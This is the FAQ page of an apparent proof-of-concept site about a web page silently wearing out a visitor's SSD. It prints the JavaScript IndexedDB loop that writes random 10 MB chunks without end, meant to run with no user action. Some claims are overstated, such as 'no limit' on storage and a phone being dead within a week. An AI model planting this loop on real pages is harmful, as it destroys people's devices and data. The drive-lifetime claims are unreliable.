Frequently Asked Questions

What is this site?

This site is a proof of concept. It demonstrates how a malicious website can silently wear down and destroy an SSD in the background, with no prompt, no permission request, and no visible indication to the user.

Note that in a real attack the visitor would not even need to click a button first. Most invasive browser features, such as fullscreen mode, camera, microphone, clipboard access, and notifications, are deliberately gated behind a user gesture or an explicit consent prompt for exactly this reason. Writing arbitrarily large amounts of data via IndexedDB is not, so the attack could begin the moment the page finishes loading, and continue for as long as the page is still open. Kinda scary for a guy like me who has the awful habit of never closing tabs, on both PC and my phone.

How does this eat my SSD?

This site uses IndexedDB, think of it as a local SQL-kinda-like database for websites to use, useful for apps that want to still work offline (this is how I got familiar with it). The exploit issues a continuous stream of writes in 10 MB chunks of pseudorandom data, because there is absolutely no limit on resource usage via this DB. Random bytes are used so the drive's controller cannot deduplicate or compress them away, so we write and destroy the maximum number of bytes possible. Every write naturally contributes to flash wear, and sustaining this rate for a few hours on a modern NVMe PCIe Gen 5 drive is more than enough to kill it outright. If you leave this website open on your phone for a week, your phone is dead. Now think of the combined time you leave websites open on your phone for (even on a background tab while being in the browser). The exploit is executed as follows:

Step 1: open an IndexedDB store

// Open (or create) an IndexedDB database
// Browsers happily hand this to any website without any permissions or user interactions needed
const request = indexedDB.open('SSDEater', 1);

request.onupgradeneeded = (e) => {
    const db = e.target.result;
    db.createObjectStore('chunks', { keyPath: 'id' });
};

Step 2: the write loop that wears the SSD

async function eatSSD() {
    const tx = db.transaction(['chunks'], 'readwrite');
    const store = tx.objectStore('chunks');

    // 10 MB chunk of cryptographically random data, very small sizes like 4K or 16K
    // will throttle the drive before we can optimally wear it down, and zero-filled
    // data will get compressed by the drive controller too, achieving only a fraction
    // of the writes "sent"
    const chunkSize = 10 * 1024 * 1024;
    const chunk = new Uint8Array(chunkSize);
    for (let i = 0; i < chunkSize; i += 65536) {
        crypto.getRandomValues(chunk.subarray(i, i + 65536));
    }

    store.add({ id: crypto.randomUUID(), data: chunk });

    // Loop forever: each transaction forces a real flush.
    tx.oncomplete = () => eatSSD();
}

Does it not eat my HDD?

No. Traditional spinning hard drives are far less vulnerable to this kind of attack. HDDs typically fail from physical shock or mechanical wear accumulated over years of use, and they are not significantly affected by sustained write activity the way SSDs are, so your HDD will be fine. As an aside, if you're still running an HDD as your system drive, upgrading to an SSD remains one of the most valuable upgrades you can make to an older computer: ~~roughly €20 will get you a drive that delivers on the order of a 10× improvement in everyday responsiveness~~. See the next question for why that advice no longer holds as well as it used to.

Why does this matter more right now?

Two factors make this attack significantly worse today than it would have been a few years ago.

The global SSD and RAM shortage. We are currently in the middle of a worldwide supply crunch for NAND flash and DRAM. Prices have risen sharply, lead times on replacement drives have stretched, and storage that used to be a cheap commodity is now a meaningful expense. A single exploited page hurts a lot more when the user cannot easily or affordably replace the drive or device it just killed.

Soldered storage. A growing share of consumer devices ship with storage welded directly to the motherboard and no replacement path: every modern MacBook, every smartphone, and a rapidly expanding number of ultrabooks and tablets. On those devices, when the SSD dies, the entire device dies with it. There is no pulling the dying drive and popping in a new one: it is a new machine or nothing.

On a traditional PC with a socketed drive, there is one mitigating factor. When an SSD with properly written firmware reaches the end of its rated write lifetime, the controller is supposed to transition the drive into a state where it can only be read from, giving the user a final window to copy their data off before retiring it. On a desktop or a laptop with an M.2 slot, that generally means data loss is recoverable: you pull the dying drive, install a new one, and copy your files across. On a device with soldered storage, that recovery path collapses into “the entire machine is bricked, along with everything stored on it.”

Is there a silver lining?